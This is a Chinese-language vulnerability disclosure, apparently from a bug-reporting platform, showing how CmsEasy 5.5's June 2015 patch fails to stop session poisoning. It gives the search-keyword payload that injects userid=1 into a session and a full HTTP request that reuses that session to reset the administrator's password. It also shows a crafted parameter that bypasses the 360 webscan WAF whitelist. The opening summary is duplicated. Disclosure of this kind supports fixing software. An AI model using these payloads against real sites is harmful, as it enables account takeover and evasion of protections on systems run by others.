### 简要描述: cmseasy 任意用户密码修改,6.20号最新的补丁,个人觉得,cmseasy的工作人员,分析问题思路有问题,而且都是掩耳盗铃的修补方法,最后一次发cmseasy漏洞了,已经无法解救了,直接开除吧,其实这个之前在360发过,但是看到最新补丁描述,说是已经修复,但是从修复的效果看,等于没有修复 ### 详细说明: 文件名:CmsEasy_5.5_UTF-8_20150620 先贴上官网给出的修复描述: [<img src="https://images.seebug.org/upload/201506/29142803d4ecf5dfa2f25e627fdc0a7c58866326.png" alt="77.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/29142803d4ecf5dfa2f25e627fdc0a7c58866326.png) form_act.php: ``` function search_action() { if(front::get('keyword') &&!front::post('keyword')) front::$post['keyword']=front::get('keyword'); front::check_type(front::post('keyword'),'safe'); if(front::post('keyword')) { $this->view->keyword=trim(front::post('keyword')); if(inject_check($this->view->keyword)){ exit('非法请求!'); } session::set('keyword',$this->view->keyword); } else { session::set('keyword',null); $this->view->keyword=session::get('keyword'); } if(inject_check($this->view->keyword)){ exit('非法请求!'); }...
### 简要描述: cmseasy 任意用户密码修改,6.20号最新的补丁,个人觉得,cmseasy的工作人员,分析问题思路有问题,而且都是掩耳盗铃的修补方法,最后一次发cmseasy漏洞了,已经无法解救了,直接开除吧,其实这个之前在360发过,但是看到最新补丁描述,说是已经修复,但是从修复的效果看,等于没有修复 ### 详细说明: 文件名:CmsEasy_5.5_UTF-8_20150620 先贴上官网给出的修复描述: [<img src="https://images.seebug.org/upload/201506/29142803d4ecf5dfa2f25e627fdc0a7c58866326.png" alt="77.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/29142803d4ecf5dfa2f25e627fdc0a7c58866326.png) form_act.php: ``` function search_action() { if(front::get('keyword') &&!front::post('keyword')) front::$post['keyword']=front::get('keyword'); front::check_type(front::post('keyword'),'safe'); if(front::post('keyword')) { $this->view->keyword=trim(front::post('keyword')); if(inject_check($this->view->keyword)){ exit('非法请求!'); } session::set('keyword',$this->view->keyword); } else { session::set('keyword',null); $this->view->keyword=session::get('keyword'); } if(inject_check($this->view->keyword)){ exit('非法请求!'); } var_dump($this->view->keyword); ``` 跟上一个版本对比的话 这里多了一步验证inject_check 跟进去看看: ``` function inject_check($sql_str) { return preg_match('@select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile@is', $sql_str); } ``` 这个有个卵用啊 ,导致能fuzz出来一个userid的原因是双引号啊,过滤其他的没有毛用 wooyun之前有人分析这里的问题,为了显示出不同,而且没有,我们选择form_act.php 这个文件 看看操作 我们在填上一句话,打印session ``` function search_action() { if(front::get('keyword') &&!front::post('keyword')) front::$post['keyword']=front::get('keyword'); front::check_type(front::post('keyword'),'safe'); if(front::post('keyword')) { $this->view->keyword=trim(front::post('keyword')); if(inject_check($this->view->keyword)){ exit('非法请求!'); } session::set('keyword',$this->view->keyword); } else { session::set('keyword',null); $this->view->keyword=session::get('keyword'); } if(inject_check($this->view->keyword)){ exit('非法请求!'); } var_dump($_SESSION); ``` 第一步:清空cookie 请求: http://localhost:6888/CmsEasy_5.5_UTF-8_20150620/uploads/index.php?case=form&act=search&catid=8&form=my_yingpin postdata: keyword=N|userid|i:1;"1"\ [<img src="https://images.seebug.org/upload/201506/291409539bde80eb5b5d28fa297e65dd85c18209.png" alt="72.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/291409539bde80eb5b5d28fa297e65dd85c18209.png) 第二步,在上一个基础上继续在请求一次 http://localhost:6888/CmsEasy_5.5_UTF-8_20150620/uploads/index.php?case=form&act=search&catid=8&form=my_yingpin postdata: keyword=N|userid|i:1;"1"\ [<img src="https://images.seebug.org/upload/201506/29141105d3e9d7d605860f6ff6beecc1c842bf45.png" alt="73.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/29141105d3e9d7d605860f6ff6beecc1c842bf45.png) 看见没有多出来一个userid,我们记录一下现在的sessionid:66be6447f46fb169236ca5144d5ab445,然后清空cookie user_act.php: ``` function edit_action() { if(front::post('submit')) { unset(front::$post['groupid']); unset(front::$post['powerlist']); if(!is_email(front::$post['e_mail'])){ alerterror('邮箱格式不对'); } foreach (front::$post as $k => $v){ if(is_array($v) && !empty($v)){ front::$post[$k] = implode(',', $v); } front::check_type(front::post($k), 'safe'); } $this->_user->rec_update(front::$post,'userid='.session::get('userid')); ``` 用户信息修改的地方,这里判断条件就是$this->_user->rec_update(front::$post,'userid='.session::get('userid')); 然后修改该用户的信息: 那么我们要考虑的一个问题就是,cmseay的登录的相关信息是否来自session, ``` class user_act extends act { function init() { $user=''; if(cookie::get('login_username') &&cookie::get('login_password')) { $user=new user(); $user=$user->getrow(array('username'=>cookie::get('login_username'))); if(cookie::get('login_password')!=front::cookie_encode($user['password'])){ unset($user); } } if(!is_array($user) &&front::$act != 'login'&&front::$act != 'ologin'&&front::$act != 'respond'&&front::$act != 'dialog_login'&&front::$act != 'space'&&front::$act != 'register'&&front::$act != 'login_js'&&front::$act != 'login_success'&&front::$act != 'getpass'&&front::$act != 'edit'){ front::redirect(url::create('user/login')); }else{ $this->view->user=$user; } $this->_user=new user; $this->view->form = $this->_user->get_form(); $this->view->field = $this->_user->getFields(); $this->view->primary_key=$this->_user->primary_key; if(is_array($_POST)){ foreach ($_POST as $v){ if(preg_match('/(select|load_file|\[|password)/i', $v)){ exit('not access'); } } } ``` 发现了没有,验证的用户名和密码全部来自于cookie,而且没有写session的操作,这就和我们预想的一模一样了 我们首先注册一个用户,然后登陆后 ,只需要把其中的sessionid 改为刚才我们fuzz出来的sessionid即可 为了证实我们的猜想,下来开始验证: 1.注册用户,并且登陆 [<img src="https://images.seebug.org/upload/201506/291419220c576ef426279742b7b85df0bdd77baf.png" alt="74.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/291419220c576ef426279742b7b85df0bdd77baf.png) 点击编辑保存,然后抓取sql为: 2015/6/29 14:13UPDATE `cmseasy_user` SET `nickname`= NULL, `question`= NULL, `answer`= NULL, `qq`= NULL, `e_mail`= 'sdads@sda.com',`tel`= '010-10000000',`address`= NULL, `intro`= NULL WHERE userid=1 这里的userid已经被改为了1,1是管理员的id,所以管理员的相关信息就被该了,由于这里 unset(front::$post['groupid']); unset(front::$post['powerlist']); 并没有删除密码 POST /CmsEasy_5.5_UTF-8_20150620/uploads/index.php?case=user&act=edit&userid=4 HTTP/1.1 Host: localhost:6888 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://localhost:6888/CmsEasy_5.5/uploads/index.php?case=user&act=edit&table=user Cookie: PHPSESSID=66be6447f46fb169236ca5144d5ab445; ver=corp; passinfo=%3Cspan+id%3D%22__edition%22%3E%E5%95%86%E4%B8%9A%E7%89%88%3C%2Fspan%3E+%3Ca+href%3Dhttp%3A%2F%2Fvip.cmseasy.cn%2F%22+target%3D%22_blank%22%3E%3Cfont+color%3D%22green%22%3E%28%E6%9F%A5%E8%AF%A2%E6%9C%8D%E5%8A%A1%E6%9C%89%E6%95%88%E6%9C%9F%29%3C%2Ffont%3E%3C%2Fa%3E; CNZZDATA80862620=cnzz_eid%3D1320564971-1434101163-%26ntime%3D1434101163; login_username=test1; login_password=f7cca982c5c2e15bd2a2418d9b025cd4 X-Forwarded-For: 8.8.8.8 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 197 nickname=test&question=xxxxx&answer=xxxx&qq=1111111&e_mail=sdads%40sda.com&tel=010-10000000&address=1111111111111&intro=cccccc&submit=%E6%8F%90%E4%BA%A4&password=1bbd886460827015e5d605ed44252251 抓取后台sql: UPDATE `cmseasy_user` SET `nickname`= 'test123',`question`= 'xxxxx',`answer`= 'xxxx',`qq`= '1111111',`e_mail`= 'sdads@sda.com',`tel`= '010-10000000',`address`= '1111111111111',`intro`= 'cccccc',`password`= '1bbd886460827015e5d605ed44252251' WHERE userid=1 然后管理员密码就被改为你想要的, 那么下来怎么让cmseasy的webscan360失效呢 之前可以通过hpp参数绕过,就是360的白名单 例如对于cmseasy来说url里面的case=admin 就不进行防御,比如我们要访问case=archive&act=edit&catid=1 只要我们在前面加上case=admin&case=archive&act=edit&catid=1,貌似这个方法被修补了 但是根据代码里面提供的思路,是说只要url里面含有case=admin 就不进行防御 那我们可以构造如下 case[case=admin]=1&case=archive&act=edit&catid=1 [<img src="https://images.seebug.org/upload/201506/291426574543dddb5893e8f5d165ec0c061acbff.png" alt="76.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/291426574543dddb5893e8f5d165ec0c061acbff.png) ### 漏洞证明: